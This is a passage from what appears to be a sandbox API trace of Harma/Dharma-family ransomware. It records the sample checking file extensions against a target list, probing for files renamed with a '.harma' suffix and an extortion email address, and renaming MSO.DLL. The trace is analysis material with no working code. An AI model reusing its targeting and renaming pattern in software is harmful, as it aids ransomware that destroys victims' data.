lpString2=".DLL") returned 1 [0132.998] lstrlenW (lpString=".docx") returned 5 [0132.998] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0132.998] lstrlenW (lpString=".pdf") returned 4 [0132.998] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0132.998] lstrlenW (lpString=".xls") returned 4 [0132.998] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0132.998] lstrlenW (lpString=".xlsx") returned 5 [0132.998] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0132.998] lstrlenW (lpString=".ppt") returned 4 [0132.998] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0132.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0132.999] lstrlenW (lpString=".zip") returned 4 [0132.999] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0132.999] lstrlenW (lpString=".rar") returned 4 [0132.999] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0132.999] lstrlenW (lpString=".bz2") returned 4 [0132.999] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0132.999] lstrlenW (lpString=".7z") returned 3 [0132.999] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0132.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0132.999] lstrlenW (lpString=".dbf") returned 4 [0132.999] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0132.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0132.999] lstrlenW (lpString=".1cd") returned 4 [0132.999] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0132.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0132.999] lstrlenW (lpString=".jpg") returned 4 [0132.999] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0132.999] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0132.999] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0132.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0133.000] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=4096) returned 1 [0133.000] CloseHandle (hObject=0x2ac) returned 1 [0133.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0133.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.001] lstrlenW (lpString=".doc") returned 4 [0133.001] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.001] lstrlenW (lpString=".docx") returned 5 [0133.001] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.001] lstrlenW (lpString=".pdf") returned 4 [0133.001] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.001] lstrlenW (lpString=".xls") returned 4 [0133.001] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.001] lstrlenW (lpString=".xlsx") returned 5 [0133.001] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.001] lstrlenW (lpString=".ppt") returned 4 [0133.001] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.001] lstrlenW (lpString=".zip") returned 4 [0133.001] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.001] lstrlenW (lpString=".rar") returned 4 [0133.001] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.001] lstrlenW (lpString=".bz2") returned 4 [0133.001] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.001] lstrlenW (lpString=".7z") returned 3 [0133.001] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.001] lstrlenW (lpString=".dbf") returned 4 [0133.001] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.002] lstrlenW (lpString=".1cd") returned 4 [0133.002] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.002] lstrlenW (lpString=".jpg") returned 4 [0133.002] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.002] lstrlenW (lpString=".doc") returned 4 [0133.002] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.002] lstrlenW (lpString=".docx") returned 5 [0133.002] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.002] lstrlenW (lpString=".pdf") returned 4 [0133.002] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.002] lstrlenW (lpString=".xls") returned 4 [0133.002] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.002] lstrlenW (lpString=".xlsx") returned 5 [0133.002] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.002] lstrlenW (lpString=".ppt") returned 4 [0133.002] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.002] lstrlenW (lpString=".zip") returned 4 [0133.002] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.002] lstrlenW (lpString=".rar") returned 4 [0133.002] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.003] lstrlenW (lpString=".bz2") returned 4 [0133.003] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.003] lstrlenW (lpString=".7z") returned 3 [0133.003] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.003] lstrlenW (lpString=".dbf") returned 4 [0133.003] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.003] lstrlenW (lpString=".1cd") returned 4 [0133.003] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.003] lstrlenW (lpString=".jpg") returned 4 [0133.003] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.003] lstrcmpiW (lpString1=".exe", lpString2=".harma") returned -1 [0133.003] lstrlenW (lpString="ConvertInkStore.exe") returned 19 [0133.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0133.058] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=193024) returned 1 [0133.058] CloseHandle (hObject=0x2ac) returned 1 [0133.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0133.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.058] lstrlenW (lpString=".doc") returned 4 [0133.058] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0133.058] lstrlenW (lpString=".docx") returned 5 [0133.058] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0133.058] lstrlenW (lpString=".pdf") returned 4 [0133.058] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0133.058] lstrlenW (lpString=".xls") returned 4 [0133.058] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0133.058] lstrlenW (lpString=".xlsx") returned 5 [0133.058] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0133.058] lstrlenW (lpString=".ppt") returned 4 [0133.058] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0133.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.059] lstrlenW (lpString=".zip") returned 4 [0133.059] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0133.059] lstrlenW (lpString=".rar") returned 4 [0133.059] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0133.059] lstrlenW (lpString=".bz2") returned 4 [0133.059] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0133.059] lstrlenW (lpString=".7z") returned 3 [0133.059] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0133.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.059] lstrlenW (lpString=".dbf") returned 4 [0133.059] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0133.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.059] lstrlenW (lpString=".1cd") returned 4 [0133.059] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0133.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.059] lstrlenW (lpString=".jpg") returned 4 [0133.059] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0133.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.059] lstrlenW (lpString=".doc") returned 4 [0133.059] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0133.059] lstrlenW (lpString=".docx") returned 5 [0133.059] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0133.059] lstrlenW (lpString=".pdf") returned 4 [0133.059] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0133.060] lstrlenW (lpString=".xls") returned 4 [0133.060] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0133.060] lstrlenW (lpString=".xlsx") returned 5 [0133.060] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0133.060] lstrlenW (lpString=".ppt") returned 4 [0133.060] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0133.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.060] lstrlenW (lpString=".zip") returned 4 [0133.060] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0133.060] lstrlenW (lpString=".rar") returned 4 [0133.060] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0133.060] lstrlenW (lpString=".bz2") returned 4 [0133.060] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0133.060] lstrlenW (lpString=".7z") returned 3 [0133.060] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0133.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.060] lstrlenW (lpString=".dbf") returned 4 [0133.060] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0133.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.060] lstrlenW (lpString=".1cd") returned 4 [0133.060] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0133.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.060] lstrlenW (lpString=".jpg") returned 4 [0133.060] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0133.061] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0133.061] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28 [0133.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0133.318] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=2560) returned 1 [0133.318] CloseHandle (hObject=0x2a0) returned 1 [0133.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0133.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0133.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0133.318] lstrlenW (lpString=".doc") returned 4 [0133.318] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.318] lstrlenW (lpString=".docx") returned 5 [0133.318] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0133.318] lstrlenW (lpString=".pdf") returned 4 [0133.318] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.318] lstrlenW (lpString=".xls") returned 4 [0133.318] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.318] lstrlenW (lpString=".xlsx") returned 5 [0133.318] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0133.318] lstrlenW (lpString=".ppt") returned 4 [0133.318] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0133.318] lstrlenW (lpString=".zip") returned 4 [0133.318] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.319] lstrlenW (lpString=".rar") returned 4 [0133.319] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.319] lstrlenW (lpString=".bz2") returned 4 [0133.319] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.319] lstrlenW (lpString=".7z") returned 3 [0133.319] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0133.319] lstrlenW (lpString=".dbf") returned 4 [0133.319] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0133.319] lstrlenW (lpString=".1cd") returned 4 [0133.319] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0133.319] lstrlenW (lpString=".jpg") returned 4 [0133.319] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0133.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0133.319] lstrlenW (lpString=".doc") returned 4 [0133.319] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.319] lstrlenW (lpString=".docx") returned 5 [0133.319] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0133.319] lstrlenW (lpString=".pdf") returned 4 [0133.319] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.319] lstrlenW (lpString=".xls") returned 4 [0133.319] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.319] lstrlenW (lpString=".xlsx") returned 5 [0133.319] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0133.319] lstrlenW (lpString=".ppt") returned 4 [0133.319] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0133.319] lstrlenW (lpString=".zip") returned 4 [0133.320] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.320] lstrlenW (lpString=".rar") returned 4 [0133.320] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.320] lstrlenW (lpString=".bz2") returned 4 [0133.320] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.320] lstrlenW (lpString=".7z") returned 3 [0133.320] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0133.320] lstrlenW (lpString=".dbf") returned 4 [0133.320] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0133.320] lstrlenW (lpString=".1cd") returned 4 [0133.320] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0133.320] lstrlenW (lpString=".jpg") returned 4 [0133.320] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.320] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0133.320] lstrlenW (lpString="MSO.DLL") returned 7 [0133.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0134.411] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=25417600) returned 1 [0134.411] CloseHandle (hObject=0x21c) returned 1 [0134.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll")) returned 0x20 [0134.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0134.793] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0134.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0134.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0134.794] lstrlenW (lpString=".doc") returned 4 [0134.794] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0134.794] lstrlenW (lpString=".docx") returned 5 [0134.794] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0134.794] lstrlenW (lpString=".pdf") returned 4 [0134.794] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0134.794] lstrlenW (lpString=".xls") returned 4 [0134.794] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0134.794] lstrlenW (lpString=".xlsx") returned 5 [0134.794] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0134.794] lstrlenW (lpString=".ppt") returned 4 [0134.794] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0134.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0134.794] lstrlenW (lpString=".zip") returned 4 [0134.794] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0134.794] lstrlenW (lpString=".rar") returned 4 [0134.794] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0134.794] lstrlenW (lpString=".bz2") returned 4 [0134.794] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0134.794] lstrlenW (lpString=".7z") returned 3 [0134.794] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0134.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0134.795] lstrlenW (lpString=".dbf") returned 4 [0134.795] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0134.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0134.795] lstrlenW (lpString=".1cd") returned 4 [0134.795] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0134.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0134.795] lstrlenW (lpString=".jpg") returned 4 [0134.795] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0134.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0134.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0134.795] lstrlenW (lpString=".doc") returned 4 [0134.795] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0134.795] lstrlenW (lpString=".docx") returned 5 [0134.795] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0134.795] lstrlenW (lpString=".pdf") returned 4 [0134.795] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0134.795] lstrlenW (lpString=".xls") returned 4 [0134.795] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0134.795] lstrlenW (lpString=".xlsx") returned 5 [0134.795] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0134.795] lstrlenW (lpString=".ppt") returned 4 [0134.795] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0134.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0134.795] lstrlenW (lpString=".zip") returned 4 [0134.795] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0134.795] lstrlenW (lpString=".rar") returned 4 [0134.795] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0134.795] lstrlenW (lpString=".bz2") returned 4 [0134.796] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0134.796] lstrlenW (lpString=".7z") returned 3 [0134.796] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0134.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0134.796] lstrlenW (lpString=".dbf") returned 4 [0134.796] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0134.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0134.796] lstrlenW (lpString=".1cd") returned 4 [0134.796] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0134.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0134.796] lstrlenW (lpString=".jpg") returned 4 [0134.796] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0134.796] lstrcmpiW (lpString1=".cnv", lpString2=".harma") returned -1 [0134.796] lstrlenW (lpString="Wks9Pxy.cnv") returned 11 [0134.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0135.055] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=57248) returned 1 [0135.055] CloseHandle (hObject=0x334) returned 1 [0135.055] GetFileAttributesW (lpFileName="C:\\Program 